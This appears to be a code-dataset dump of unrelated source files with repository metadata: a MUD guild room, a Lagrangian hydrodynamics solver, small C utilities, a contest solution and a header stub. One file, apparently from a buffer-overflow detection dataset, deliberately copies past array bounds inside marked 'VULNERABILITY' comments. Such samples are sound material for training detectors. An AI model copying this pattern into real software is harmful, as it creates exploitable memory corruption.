"in this room. Suits of armour, glistening in the candle light \n"+
"from the single black ornate candle that sits on the wide desk,\n"+
"filled with papers and plans. This is where hopeful students \n"+
"from all over Magia come to learn from the master of the Grey \n"+
"Robes, and join the robes of alignment.\n");
set_items(({
"papers#paper#plan#plans",
"They outline new spells and new tactics in which to employ them",
"desk",
"A large desk of some dark black metal",
"armour#suits of armour#suits",
"Nine carefully cared for suits of full plate armour stand at \n"+
"attention at regular intervals around the room. You almost \n"+
"expect them to come to life at any moment now!",
"candle",
"A black incense candle. The scent from it is quite delicate, \n"+
"and in quite contrast to the rest of the room. It bears the \n"+
"initials SW in a circle of magic at its base",
"plans#battle plans",
"You catch a glimpse of one of the plans for the Ebony War.\n"+
"It makes some mention of drow bases around the tips of \n"+
"what is now known as Ille Coronos",
}));
set_weather(5, 1, 0);
set_affiliation_name("Grey Robe Mage");
set_affiliation_file("grm");
set_skills_file("obj/skills/affils/grm");
set_exits(({
}));
set_guild_name("No"); /* normal guild */
set_classes(({
"primary", ({ "intelligence", "wisdom", }),
"mage", ({
"illusion", "charm", "conjuration", "abjuration",
"necromancy", "evocation", "divination", "alteration",
}),
}));
set_exp(({
0, 1014, 1522, 2283, 3425, 5138,
7707, 11561, 17341, 26012, 39018, 58527,
87791, 131687, 197530, 296296, 444444, 666666,
1000000, 1500000, 2000000, 2500000, 3000000, 3500000,
4000000, 4500000, 5000000, 5500000, 6000000, 6500000,
}));
set_skill_exp(({
30, 50, 75, 100, 175, 250,
400, 600, 900, 1200, 2000, 3000,
4500, 6500, 10000, 15000, 20000, 30000,
50000, 75000, 100000, 125000, 150000, 175000,
200000, 225000, 250000, 275000, 300000, 325000,
}));
set_titles(({
({}), /* no neuter characters now but possible */
/* male titles */
({
"the Utter Newbie",
"the Apprentice",
"the Initiate",
"the Student of Magic",
"the Apprentice of Magic",
"the Apprentice Magician",
"the Magician",
"the Apprentice Sorcerer",
"the Sorcerer",
"the Wizard",
"the Wizard of the 1st Circle",
"the Wizard of the 2nd Circle",
"the Wizard of the 3rd Circle",
"the Wizard of the 4th Circle",
"the Wizard of the 4th Circle",
"the Wizard of the 5th Circle",
"the Wizard of the 6th Circle",
"the Wizard of the 7th Circle",
"the Wizard of the 8th Circle",
"the Wizard of the 9th Circle",
"the Mage",
"the High Mage",
"the High Mage of the 1st Circle",
"the High Mage of the 2nd Circle",
"the High Mage of the 3rd Circle",
"the High Mage of the 4th Circle",
"the High Mage of the 5th Circle",
"the High Mage of the 6th Circle",
"the High Mage of the 7th Circle",
"the High Mage of the 8th Circle",
"the High Mage of the 9th Circle",
}),
/* female titles */
({
"the Utter Newbie",
"the Apprentice",
"the Initiate",
"the Student of Magic",
"the Apprentice of Magic",
"the Apprentice Magician",
"the Magician",
"the Apprentice Sorcerer",
"the Sorcerer",
"the Wizard",
"the Wizard of the 1st Circle",
"the Wizard of the 2nd Circle",
"the Wizard of the 3rd Circle",
"the Wizard of the 4th Circle",
"the Wizard of the 5th Circle",
"the Wizard of the 6th Circle",
"the Wizard of the 7th Circle",
"the Wizard of the 8th Circle",
"the Wizard of the 9th Circle",
"the Mage",
"the High Mage",
"the High Mage of the 1st Circle",
"the High Mage of the 1st Circle",
"the High Mage of the 2nd Circle",
"the High Mage of the 3rd Circle",
"the High Mage of the 4th Circle",
"the High Mage of the 5th Circle",
"the High Mage of the 6th Circle",
"the High Mage of the 7th Circle",
"the High Mage of the 8th Circle",
"the High Mage of the 9th Circle",
}),
}));
/*** get a new pretitle one in four levels after 30 ***/
set_pretitles(({
({}), /* no neuter pretitles */
/* male pretitles */
({
"Magus",
"Magus",
"Magus",
"High Magus",
"High Magus",
"High Magus",
"Archmage",
"Archmage",
"Archmage",
}),
/* female pretitles */
({
"Magus",
"Magus",
"Magus",
"High Magus",
"High Magus",
"High Magus",
"Archmage",
"Archmage",
"Archmage",
}),
})) ;
}
void init() {
affils::init();
guild::init();
}
| [
"ray.lukes@gmail.com"
] | ray.lukes@gmail.com |
227375173115abac566c17badc6311bf9928a545 | 5c255f911786e984286b1f7a4e6091a68419d049 | /vulnerable_code/dbdd6f6a-9495-41c6-9e11-e0814d536ca3.c | c1caf1a2438c953dea3f2d9b9f71529b8826b031 | [] | no_license | nmharmon8/Deep-Buffer-Overflow-Detection | 70fe02c8dc75d12e91f5bc4468cf260e490af1a4 | e0c86210c86afb07c8d4abcc957c7f1b252b4eb2 | refs/heads/master | 2021-09-11T19:09:59.944740 | 2018-04-06T16:26:34 | 2018-04-06T16:26:34 | 125,521,331 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 551 | c | #include <string.h>
#include <stdio.h>
int main() {
int i=4;
int j=12;
int k;
int l;
k = 53;
l = 64;
k = i-j;
l = i%j;
l = k%j;
l = k-j*i;
//variables
//random
/* START VULNERABILITY */
int a;
long b[40];
long c[57];
a = 0;
do {
/* START BUFFER SET */
*((long *)c + a) = *((long *)b + a);
/* END BUFFER SET */
//random
a++;
} while(a < strlen(b));
/* END VULNERABILITY */
printf("%d%d\n",k,l);
return 0;
}
| [
"nharmon8@gmail.com"
] | nharmon8@gmail.com |
1b87cc2854608df7cb3a5ce8dc98a88a67ce4e8e | 8070a23945374f8dcd8055cae717a14f4926e5e2 | /ctype/isdigit.c | 09f0da96e84611f0c0e786833fa4fb3e4484ba51 | [] | no_license | longknown/tlibc | bae0efdb58a53f1307918a448a5594ce5055aa3e | 57a5132c8871fa22c752a35f5e5f60046e90cede | refs/heads/master | 2021-01-25T13:24:41.961127 | 2018-05-31T14:42:39 | 2018-05-31T14:42:39 | 123,568,781 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 101 | c | /*
* isdigit function
*/
#include "ctype.h"
int (isdigit)(int c)
{
return (_Ctype[c] & (_DI));
}
| [
"longknown@gmail.com"
] | longknown@gmail.com |
9188c52fd858e8de0de4b623154a17e9b3e6d13e | cd2f1cce02f373995f56848fdb6715632f229cd8 | /holamundo.c | 1b9413699b1f8ee5e7587c93ddc5fb9d04cfb334 | [] | no_license | LeonardoAV22/Introduccion-C | 2d2b0ac8cc3c5aa5ea61b89d4a7e696c93bc0f29 | cb1398b3e6dea8108c79cc097453217e3b474c6a | refs/heads/master | 2021-01-25T14:10:41.268096 | 2018-03-10T19:05:57 | 2018-03-10T19:05:57 | 123,663,027 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 83 | c | #include <stdio.h>
int main()
{
printf("Hello world");
return 0;
} | [
"alejandreleonardov@gmail.com"
] | alejandreleonardov@gmail.com |
1ae46955af183ea311104f68faee951864c1635a | 0c83640cf0c7c24f7125a68d82b25f485f836601 | /abc143/d/main.c | 536fe4cf772ccc37d4affe4442e91340c487a2f7 | [] | no_license | tiqwab/atcoder | f7f3fdc0c72ea7dea276bd2228b0b9fee9ba9aea | c338b12954e8cbe983077c428d0a36eb7ba2876f | refs/heads/master | 2023-07-26T11:51:14.608775 | 2023-07-16T08:48:45 | 2023-07-16T08:48:45 | 216,480,686 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,616 | c | #include <stdio.h>
#define MAX_N 2000
#define MAX_L 1000
int n;
int ls[MAX_N];
int ms[MAX_L+1];
void sort(int n) {
for (int i = 0; i < n; i++) {
ms[ls[i]]++;
}
int i = 1;
int j = 0;
while (i < MAX_L+1) {
while (ms[i] > 0) {
ls[j++] = i;
ms[i]--;
}
i++;
}
}
/*
* Return the minimum index whose value is same or larger than the target value if exists, otherwise -1.
*
* l: lowest index
* h: highest index
* x: target value
*/
int search(int l, int h, int x) {
if (ls[l] >= x) {
return l;
}
while (h - l > 0) {
// printf("h: %d, l: %d, mid: %d, v: %d\n", h, l, (l + h) / 2, ls[(l + h / 2)]);
int mid = (l + h) / 2;
if (ls[mid] < x) {
l = mid + 1;
} else if (ls[mid] > x) {
h = mid;
} else {
h = mid;
}
}
if (ls[l] < x) {
return -1;
}
return l;
}
int solve(int n) {
int count = 0;
for (int i = n-1; i > 0; i--) {
for (int j = i-1; j > 0; j--) {
int a = ls[i];
int b = ls[j];
int min_c = a - b + 1;
int lim_ind = search(0, j-1, min_c);
// printf("%d %d %d\n", 0, j-1, lim_ind);
if (lim_ind < 0) {
break;
}
count += j - lim_ind;
}
}
return count;
}
int main(void) {
scanf("%d\n", &n);
for (int i = 0; i < n; i++) {
int x;
scanf("%d", &x);
ls[i] = x;
}
sort(n);
printf("%d\n", solve(n));
return 0;
}
| [
"tiqwab.ch90@gmail.com"
] | tiqwab.ch90@gmail.com |
18d8cbb260a173929ff68d31a27693981cfd9221 | 86f026381e488b879214d22f28b68fb6eb23cd6d | /panacea/abc/lag/lagin.c | cee021970fda17acbdae6b5e43dd61710b8aad87 | [
"BSD-3-Clause"
] | permissive | sabrown256/pactnew | 1490a4a46fe71d3bf3ad15fb449b8f7f3869135b | c5952f6edb5e41fbd91ed91cc3f0038cc59505a0 | refs/heads/master | 2016-09-06T13:37:35.294245 | 2015-08-12T20:20:37 | 2015-08-12T20:20:37 | 33,747,410 | 1 | 0 | null | null | null | null | UTF-8 | C | false | false | 20,611 | c | /*
* LAGIN.C - the gateway for the lag process in ABC
*
* Source Version: 3.0
* Software Release #: LLNL-CODE-422942
*
*/
#include "cpyright.h"
#include "lagin.h"
typedef struct s_par_nm par_nm;
typedef struct s_par_pr par_pr;
typedef struct s_par_hr par_hr;
struct s_par_nm
{double *volq;
double *mass;};
struct s_par_pr
{double *pn;};
struct s_par_hr
{double dts;};
int
*indc,
*idup,
*irc;
double
*aq,
*di,
*csp,
csmin,
*dtvg,
*dvxdt,
*dvydt,
etoto,
hgamma,
*lpm,
*massn,
*massz,
*pdv,
*voln,
*volo;
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* FIX_BCW - enforce the boundary conditions */
static int fix_bcw(double *lrx, double *lry, double *ldvxdt, double *ldvydt)
{int k, l, i;
int k1, k2, l1, l2;
double *iv_data;
char *iv_name;
PA_iv_specification *sp;
/* zero out all quantities (implicit bc) */
for (i = 0; i < N_nodes; i++)
{ldvxdt[i] *= node[i];
ldvydt[i] *= node[i];
lrx[i] *= node[i];
lry[i] *= node[i];
vx[i] *= node[i];
vy[i] *= node[i];};
/* NOTE: here is where applications access initial value specifications
* which PANACEA has gathered without any knowledge of the semantics.
* These were all specified in the form:
* specify bc <name> <k1> <l1> <k2> <l2>
*/
for (sp = PA_gs.iv_spec_lst; sp != NULL; sp = sp->next)
{iv_name = sp->name;
if ((iv_data = sp->data) == NULL)
continue;
k1 = (int) iv_data[0];
l1 = (int) iv_data[1];
k2 = (int) iv_data[2];
l2 = (int) iv_data[3];
if (strcmp(iv_name, "constant-vx") == 0)
for (l = l1; l <= l2; l++)
for (k = k1; k <= k2; k++)
ldvxdt[NODE_OF(k, l)] = 0.0;
else if (strcmp(iv_name, "constant-vy") == 0)
for (l = l1; l <= l2; l++)
for (k = k1; k <= k2; k++)
ldvydt[NODE_OF(k, l)] = 0.0;
else if (strcmp(iv_name, "fixed") == 0)
for (l = l1; l <= l2; l++)
for (k = k1; k <= k2; k++)
{i = NODE_OF(k, l);
ldvxdt[i] = 0.0;
ldvydt[i] = 0.0;};};
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* AWC - compute contribution of P to DVDT */
static void *awc(void *arg)
{int j, n1, n2;
double nbx, nrx, ntx, nlx;
double nby, nry, nty, nly;
double ptot;
double *rx1, *rx2, *rx3, *rx4;
double *ry1, *ry2, *ry3, *ry4;
double *dvxdt1, *dvxdt2, *dvxdt3, *dvxdt4;
double *dvydt1, *dvydt2, *dvydt3, *dvydt4;
void *rv;
vecset4(rx, rx1, rx2, rx3, rx4);
vecset4(ry, ry1, ry2, ry3, ry4);
vecset4(dvxdt, dvxdt1, dvxdt2, dvxdt3, dvxdt4);
vecset4(dvydt, dvydt1, dvydt2, dvydt3, dvydt4);
SC_chunk_split(&n1, &n2, &rv);
for (j = n1; j < n2; j++)
{nbx = 0.5*(ry1[j] - ry4[j]);
nby = 0.5*(rx4[j] - rx1[j]);
nrx = 0.5*(ry2[j] - ry1[j]);
nry = 0.5*(rx1[j] - rx2[j]);
ntx = 0.5*(ry3[j] - ry2[j]);
nty = 0.5*(rx2[j] - rx3[j]);
nlx = 0.5*(ry4[j] - ry3[j]);
nly = 0.5*(rx3[j] - rx4[j]);
ptot = p[j];
dvxdt1[j] += ptot*(nbx + nrx);
dvydt1[j] += ptot*(nby + nry);
dvxdt2[j] += ptot*(nrx + ntx);
dvydt2[j] += ptot*(nry + nty);
dvxdt3[j] += ptot*(ntx + nlx);
dvydt3[j] += ptot*(nty + nly);
dvxdt4[j] += ptot*(nlx + nbx);
dvydt4[j] += ptot*(nly + nby);};
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* FW - move the mesh */
static int fw(double *lp, double *lrx, double *lry,
double *rxn, double *ryn,
double *lvx, double *lvy, double *vxn, double *vyn, double dts)
{int i;
for (i = 0; i < N_nodes; i++)
{dvxdt[i] = 0.0;
dvydt[i] = 0.0;};
/* NOTE: do the work of awc using SMP parallelism */
SC_chunk_loop(awc, frz, lrz, TRUE, NULL);
fix_bcw(lrx, lry, dvxdt, dvydt);
for (i = frn; i <= lrn; i++)
{vxn[i] = lvx[i] + dts*dvxdt[i];
vyn[i] = lvy[i] + dts*dvydt[i];};
for (i = frn; i <= lrn; i++)
{rxn[i] = lrx[i] + dts*vx[i];
ryn[i] = lry[i] + dts*vy[i];};
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* HWC - compute the H terms */
static void *hwc(void *arg)
{int j, n1, n2;
double nbx, nrx, ntx, nlx;
double nby, nry, nty, nly;
double *rx1, *rx2, *rx3, *rx4;
double *ry1, *ry2, *ry3, *ry4;
double vbx, vrx, vtx, vlx;
double vby, vry, vty, vly;
double *vx1, *vx2, *vx3, *vx4;
double *vy1, *vy2, *vy3, *vy4;
double nvbt, nvrl;
double dvol, dts;
void *rv;
par_hr *par;
vecset4(rx, rx1, rx2, rx3, rx4);
vecset4(ry, ry1, ry2, ry3, ry4);
vecset4(vx, vx1, vx2, vx3, vx4);
vecset4(vy, vy1, vy2, vy3, vy4);
SC_chunk_split(&n1, &n2, &rv);
par = (par_hr *) arg;
dts = par->dts;
for (j = n1; j < n2; j++)
pdv[j] = 0.0;;
for (j = n1; j < n2; j++)
{nbx = ry1[j] - ry4[j];
nby = rx4[j] - rx1[j];
nrx = ry2[j] - ry1[j];
nry = rx1[j] - rx2[j];
ntx = ry3[j] - ry2[j];
nty = rx2[j] - rx3[j];
nlx = ry4[j] - ry3[j];
nly = rx3[j] - rx4[j];
vbx = 0.5*(vx1[j] + vx4[j]);
vby = 0.5*(vy1[j] + vy4[j]);
vrx = 0.5*(vx2[j] + vx1[j]);
vry = 0.5*(vy2[j] + vy1[j]);
vtx = 0.5*(vx3[j] + vx2[j]);
vty = 0.5*(vy3[j] + vy2[j]);
vlx = 0.5*(vx4[j] + vx3[j]);
vly = 0.5*(vy4[j] + vy3[j]);
nvbt = (nbx*vbx + nby*vby + ntx*vtx + nty*vty)*dts;
nvrl = (nrx*vrx + nry*vry + nlx*vlx + nly*vly)*dts;
dvol = nvbt + nvrl;
pdv[j] -= p[j]*dvol;};
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* PWC - update the P values on a chunk */
static void *pwc(void *arg)
{int j, n1, n2;
double b, c, vninv;
double *pn;
void *rv;
par_pr *par;
SC_chunk_split(&n1, &n2, &rv);
par = (par_pr *) arg;
pn = par->pn;
for (j = n1; j < n2; j++)
{vninv = 1.0/(voln[j] + SMALL);
b = volo[j]*vninv;
c = (hgamma - 1.0)*vninv;
pn[j] = p[j]*b + c*pdv[j];};
for (j = n1; j < n2; j++)
rpdv[j] += pdv[j];
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* PW - calculate the new P values */
static int pw(double *pn, double dts)
{par_pr pp;
par_hr ph;
ph.dts = dts;
pp.pn = pn;
SC_chunk_loop(hwc, frz, lrz, TRUE, &ph);
SC_chunk_loop(pwc, frz, lrz, TRUE, &pp);
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* AREAW - compute the areas of the quadrants of a zone */
static void *areaw(void *arg)
{int j, k, n1, n2;
double *rx1, *rx2, *rx3, *rx4;
double *ry1, *ry2, *ry3, *ry4;
void *rv;
vecset4(rx, rx1, rx2, rx3, rx4);
vecset4(ry, ry1, ry2, ry3, ry4);
SC_chunk_split(&n1, &n2, &rv);
for (j = n1; j < n2; j++)
{k = 5*j;
aq[k+1] = VOLQR(rx1[j], rx2[j], rx3[j], rx4[j],
ry1[j], ry2[j], ry3[j], ry4[j]);
aq[k+2] = VOLQR(rx2[j], rx3[j], rx4[j], rx1[j],
ry2[j], ry3[j], ry4[j], ry1[j]);
aq[k+3] = VOLQR(rx3[j], rx4[j], rx1[j], rx2[j],
ry3[j], ry4[j], ry1[j], ry2[j]);
aq[k+4] = VOLQR(rx4[j], rx1[j], rx2[j], rx3[j],
ry4[j], ry1[j], ry2[j], ry3[j]);
aq[k] = aq[k+1] + aq[k+2] + aq[k+3] + aq[k+4];};
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* DAREADT - calculate the projected quadrant volume change */
static double dareadt(double *lrx, double *lry, double *lvx, double *lvy)
{int j;
double *rx1, *rx2, *rx3, *rx4;
double *ry1, *ry2, *ry3, *ry4;
double *vx1, *vx2, *vx3, *vx4;
double *vy1, *vy2, *vy3, *vy4;
double da, dainv, dta, dtav;
double mdtv;
vecset4(lrx, rx1, rx2, rx3, rx4);
vecset4(lry, ry1, ry2, ry3, ry4);
vecset4(lvx, vx1, vx2, vx3, vx4);
vecset4(lvy, vy1, vy2, vy3, vy4);
mdtv = PARAM[5];
dta = HUGE;
for (j = frz; j <= lrz; j++)
{da = VOLR(rx1[j], rx2[j], rx3[j], rx4[j],
vy1[j], vy2[j], vy3[j], vy4[j]) +
VOLR(vx1[j], vx2[j], vx3[j], vx4[j],
ry1[j], ry2[j], ry3[j], ry4[j]);
dainv = 1.0/(fabs(da) + SMALL);
dtav = mdtv*dainv;
dta = min(dta, dtav);};
return(dta);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* VOLFRAC - compute the volumes of quadrants associated with
* - each for the nodes
*/
static int volfrac(double *volq, double *lrx, double *lry)
{int i, io, k, l;
double *rxa, *rxb, *rxc, *rxd, *rxe, *rxf, *rxg, *rxh, *rxi;
double *rya, *ryb, *ryc, *ryd, *rye, *ryf, *ryg, *ryh, *ryi;
rxa = lrx;
rxb = lrx + 1;
rxf = lrx - 1;
rxd = lrx + kbnd;
rxc = rxd + 1;
rxe = rxd - 1;
rxh = lrx - kbnd;
rxi = rxh + 1;
rxg = rxh - 1;
rya = lry;
ryb = lry + 1;
ryf = lry - 1;
ryd = lry + kbnd;
ryc = ryd + 1;
rye = ryd - 1;
ryh = lry - kbnd;
ryi = ryh + 1;
ryg = ryh - 1;
for (i = 0; i < 4*N_nodes; i++)
volq[i] = 0.0;
for (i = frn; i <= lrn; i++)
{k = K_OF_NODE(i);
l = L_OF_NODE(i);
io = 4*i;
if ((1 < k) && (1 < l))
volq[io] = VOLQR(rxa[i], rxf[i], rxg[i], rxh[i],
rya[i], ryf[i], ryg[i], ryh[i]);
else
volq[io] = 0.0;
if ((k < kmax) && (1 < l))
volq[io+1] = VOLQR(rxa[i], rxh[i], rxi[i], rxb[i],
rya[i], ryh[i], ryi[i], ryb[i]);
else
volq[io+1] = 0.0;
if ((k < kmax) && (l < lmax))
volq[io+2] = VOLQR(rxa[i], rxb[i], rxc[i], rxd[i],
rya[i], ryb[i], ryc[i], ryd[i]);
else
volq[io+2] = 0.0;
if ((1 < k) && (l < lmax))
volq[io+3] = VOLQR(rxa[i], rxd[i], rxe[i], rxf[i],
rya[i], ryd[i], rye[i], ryf[i]);
else
volq[io+3] = 0.0;};
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* NMW - compute the volume average of the pressures
* - for the zones initially
*/
static void *nmw(void *arg)
{int j, n1, n2;
int i1, i2, i3, i4, j1, j2, j3, j4;
double v1, v2, v3, v4;
double *volq, *mass;
void *rv;
par_nm *par;
SC_chunk_split(&n1, &n2, &rv);
par = (par_nm *) arg;
volq = par->volq;
mass = par->mass;
for (j = n1; j < n2; j++)
{i1 = j;
j1 = 4*i1;
v1 = volq[j1];
i2 = i1 - 1;
j2 = 4*i2;
v2 = volq[j2+1];
i3 = i1 - kbnd - 1;
j3 = 4*i3;
v3 = volq[j3+2];
i4 = i1 - kbnd;
j4 = 4*i4;
v4 = volq[j4+3];
mass[i1] += rho[j]*v1;
mass[i2] += rho[j]*v2;
mass[i3] += rho[j]*v3;
mass[i4] += rho[j]*v4;};
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* NODE_MASSW - compute the volume average of the pressures
* - for the zones initially
*/
int node_massw(double *mass, double *lrho, double *lrx, double *lry)
{double *volq;
par_nm pn;
volq = CMAKE_N(double, 4*N_nodes);
volfrac(volq, lrx, lry);
PA_array_set(mass, N_nodes, 0.0);
pn.volq = volq;
pn.mass = mass;
SC_chunk_loop(nmw, frz, lrz, TRUE, &pn);
CFREE(volq);
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* CWC - compute the timestep for this chunk */
static void *cwc(void *arg)
{int j, k, n1, n2;
double drx, dry;
double *rx1, *rx2, *rx3, *rx4;
double *ry1, *ry2, *ry3, *ry4;
void *rv;
vecset4(rx, rx1, rx2, rx3, rx4);
vecset4(ry, ry1, ry2, ry3, ry4);
SC_chunk_split(&n1, &n2, &rv);
for (j = n1; j < n2; j++)
{drx = 0.5*(rx2[j] + rx3[j] - rx4[j] - rx1[j]);
dry = 0.5*(ry2[j] + ry3[j] - ry4[j] - ry1[j]);
di[j] = 0.25*(drx*drx + dry*dry);
drx = 0.5*(rx1[j] + rx2[j] - rx3[j] - rx4[j]);
dry = 0.5*(ry1[j] + ry2[j] - ry3[j] - ry4[j]);
di[j] += 0.25*(drx*drx + dry*dry);};
for (j = n1; j < n2; j++)
{k = 5*j;
di[j] *= csp[j]*csp[j]/(aq[k]*aq[k] + SMALL);};
return(rv);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* CW - compute the timestep for next cycle */
static double cw(double *lcsp)
{int j;
double dtc;
SC_chunk_loop(cwc, frz, lrz, TRUE, NULL);
dtc = 0.0;
for (j = frz; j <= lrz; j++)
{if (di[j] > dtc)
dtc = di[j];};
dtc = PARAM[1]*hgamma/(sqrt(dtc) + SMALL);
return(dtc);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* LAGW - Lagrange equation solver in cartesian coordinates */
int lagw(void)
{int i, j;
int nhcycle;
double dts0, dts, dtsmin, dtelapse, dtmax;
double dtc, dta, dvol;
double *rxn, *ryn, *vxn, *vyn;
double *pn;
/* allocate the temporary storage */
aq = CMAKE_N(double, 5*N_zones);
rxn = CMAKE_N(double, N_nodes);
ryn = CMAKE_N(double, N_nodes);
vxn = CMAKE_N(double, N_nodes);
vyn = CMAKE_N(double, N_nodes);
pn = CMAKE_N(double, N_zones);
di = CMAKE_N(double, N_zones);
nhcycle = 0;
dtsmin = PARAM[12];
dtmax = 0.9999*dt;
for (dtelapse = 0.0; dtelapse <= dtmax; dtelapse += dts)
{nhcycle++;
SC_chunk_loop(areaw, frz, lrz, TRUE, NULL);
cspeed(csp, p, rho);
dtc = cw(csp);
dta = dareadt(rx, ry, vx, vy);
dts0 = fabs(dt-dtelapse);
dts = min(dtc, dts0);
dts = min(dta, dts);
if (dts != dts0)
dts = max(dts, dtsmin);
fw(p, rx, ry, rxn, ryn,
vx, vy, vxn, vyn,
dts);
volumew(voln, rxn, ryn);
pw(pn, dts);
for (j = frz; j <= lrz; j++)
{dvol = vol[j]/(voln[j] + SMALL);
rho[j] *= dvol;
p[j] = pn[j];
vol[j] = voln[j];};
for (i = frn; i <= lrn; i++)
{rx[i] = rxn[i];
ry[i] = ryn[i];
vx[i] = vxn[i];
vy[i] = vyn[i];};};
/* release temporary storage */
CFREE(aq);
CFREE(rxn);
CFREE(ryn);
CFREE(vxn);
CFREE(vyn);
CFREE(pn);
CFREE(di);
return(TRUE);}
/*--------------------------------------------------------------------------*/
/* PANACEA INTERFACE */
/*--------------------------------------------------------------------------*/
/* INTERN_LAG - intern the variables of the lagrange package
* - prior to writing the initial restart dump
*/
int intern_lag(void)
{
PA_control_set("lag");
SWTCH[4] = PA_gs.global_swtch[12];
PARAM[12] *= (PA_gs.global_param[3] - PA_gs.global_param[2]);
PARAM[13] *= (PA_gs.global_param[3] - PA_gs.global_param[2]);
PA_INTERN(n, "n");
PA_INTERN(p, "p");
PA_INTERN(rho, "rho");
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* LAG - dispatch to the correct lag routine */
int lag(PA_package *pck)
{int j, lgz;
double dvov, dvol, fact, lgdt;
static int first = TRUE;
/* check that this package was requested */
if (SWTCH[1] == FALSE)
return(FALSE);
if (first)
PA_mark_space(pck);
/* start timing */
PA_mark_time(pck);
/* initialize the lag calculation */
init_cycle();
/* dispatch to the correct lag routine */
lagw();
/* compute fractional volume change time step control */
for (lgdt = HUGE, j = frz; j <= lrz; j++)
{if (zone[j] != 0.0)
{dvov = fabs(volo[j] - voln[j])/voln[j];
if ((dvov > PARAM[5]) && (dt*PARAM[7] < lgdt))
{lgdt = dt*PARAM[7];
lgz = j;};};};
pck->dt = lgdt;
pck->dt_zone = lgz;
/* updating pressures, densities, areas, volumes */
for (j = frz; j <= lrz; j++)
{dvol = volo[j]/(voln[j] + SMALL);
rho[j] *= dvol;
n[j] *= dvol;};
/* fix the heating rates for the temperature equation */
for (j = frz; j <= lrz; j++)
{fact = 1.0/(vol[j]*n[j]*dt + SMALL);
rpdv[j] *= fact;};
PA_accm_time(pck);
if (first)
{PA_accm_space(pck);
first = FALSE;};
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* INIT_LAG - initialize and allocate lag variables one time only */
int init_lag(PA_package *pck)
{int i, j;
double dvx, dvy;
PA_PACKAGE_ON(pck) = SWTCH[1];
/* connect global zonal variables */
PA_CONNECT(rho, "rho", TRUE);
PA_CONNECT(n, "n", TRUE);
PA_CONNECT(p, "p", TRUE);
PA_CONNECT(rpdv, "rpdv", TRUE);
/* allocate local zonal variables */
csp = CMAKE_N(double, N_zones);
dtvg = CMAKE_N(double, N_zones);
massz = CMAKE_N(double, N_zones);
pdv = CMAKE_N(double, N_zones);
voln = CMAKE_N(double, N_zones);
volo = CMAKE_N(double, N_zones);
/* set some scalars */
csmin = PARAM[9];
hgamma = 1.0 + 1.0/(PARAM[11] + SMALL);
/* initialize the zonal arrays */
for (j = frz; j <= lrz; j++)
{volo[j] = vol[j];
massz[j] = rho[j]*vol[j];};
/* nodal variables */
lpm = CMAKE_N(double, N_nodes);
dvxdt = CMAKE_N(double, N_nodes);
dvydt = CMAKE_N(double, N_nodes);
massn = CMAKE_N(double, N_nodes);
for (i = 0; i < N_nodes; i++)
massn[i] = 0.0;
/* compute the node masses and the total energy */
etoto = 0.0;
node_massw(massn, rho, rx, ry);
for (i = 0; i < N_nodes; i++)
{dvx = vx[i];
dvy = vy[i];
etoto += 0.5*massn[i]*(dvx*dvx + dvy*dvy);};
for (j = frz; j <= lrz; j++)
etoto += p[j]*vol[j]/(hgamma - 1.0);
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* INIT_CYCLE - initialize the lagrange state for this cycle */
int init_cycle(void)
{int j;
for (j = frz; j <= lrz; j++)
p[j] = PARAM[8]*PM_c.kboltz*n[j]*tm[j];
for (j = 0; j < N_zones; j++)
{rpdv[j] = 0.0;
dvxdt[j] = 0.0;
volo[j] = vol[j];};
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
/* CSPEED - compute CSP */
int cspeed(double *lcsp, double *lp, double *lrho)
{int j;
PA_array_set(lcsp, N_zones, 0.0);
for (j = frz; j <= lrz; j++)
lcsp[j] = 2.0*lp[j]/(lrho[j] + SMALL);
for (j = frz; j <= lrz; j++)
if (lcsp[j] < csmin)
lcsp[j] = csmin;
for (j = frz; j <= lrz; j++)
lcsp[j] = sqrt(lcsp[j]);
return(TRUE);}
/*--------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------*/
| [
"sabrown256@f80487b2-16bd-11df-9ac1-3b3d05a0ff07"
] | sabrown256@f80487b2-16bd-11df-9ac1-3b3d05a0ff07 |
a4e51142d2c7832fe6b68b0c3a6c42b9ab2ebfd1 | ad0362090793b43724d066cb1a7c52ea8d13e8cf | /rbt/iface.h | 802614bd25c533f91afc4f2293cfd2b9e2d37065 | [] | no_license | jimsiak/pact-ae | de8c467218ad286897c150414590d4790f0dbc75 | 929155ce3b1f1a096b7753335b23cf155695fd9a | refs/heads/master | 2021-06-18T07:54:08.863227 | 2017-07-14T10:37:59 | 2017-07-14T10:37:59 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,211 | h | #ifndef _RBT_IFACE_H_
#define _RBT_IFACE_H_
//> Not thread-safe interface functions.
//> Should only be called during initialization and termination phase
//> by one thread.
void *rbt_new();
char *rbt_name();
int rbt_warmup(void *rbt, int nr_nodes, int max_key,
unsigned int seed, int force);
int rbt_validate(void *rbt);
//> Initialize per thread statistics.
void *rbt_thread_data_new(int tid);
